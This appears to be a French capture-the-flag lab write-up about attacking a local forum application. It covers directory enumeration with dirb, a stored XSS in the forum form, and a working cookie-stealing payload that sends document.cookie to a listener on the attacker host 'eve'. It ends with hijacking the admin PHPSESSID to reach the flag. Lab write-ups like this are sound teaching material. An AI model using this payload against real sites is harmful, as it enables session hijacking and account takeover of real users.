Découverte du site web

On se connecte au firefox à l'adresse : http://localhost:5801 et au conteneur eve

On accède au site via http://MyForum/

On peut visualiser le form sur la page index.php et la page de login

Le login est un compte unique avec un mot de passe très complexe, impossible de le bruteforce.

On peut utiliser dirb pour voir les différentes pages intéressantes :

```
—— Scanning URL: http://MyForum/ ——
+ http://MyForum/admin.php (CODE:200|SIZE:34)
+ http://MyForum/index.php (CODE:200|SIZE:1027)
+ http://MyForum/server-status (CODE:403|SIZE:199)
```

On voit sur la page admin que il faut être connecté pour accéder à la page.

Le vol de cookie

On remarque que si on insère dans le form test le text apparaît en gras et est mis en ligne par un utilisateur anonyme

On prépare un serveur python sur eve pour récupérer les requêtes du vol de cookies :

python3 -m http.server

on insère dans le form le payload suivant :

<script>var i=new Image;i.src="http://eve:8000/?c="+document.cookie;</script>

et on attend que la victime charge la page. (la première requête est la nôtre)

Utilisation du cookie volé

Pour utiliser le cookie PHPSESSID on ouvre la console dev de firefox avec f12

Dans l’onglet storage on insère le cookie volé (attention il faut passer par le panneau à gauche pour copier coller)

Si on entre ‘test’ dans le form, il est émis par admin. On a donc réussi le vol de session.

Le flag est alors simplement dans la page admin.php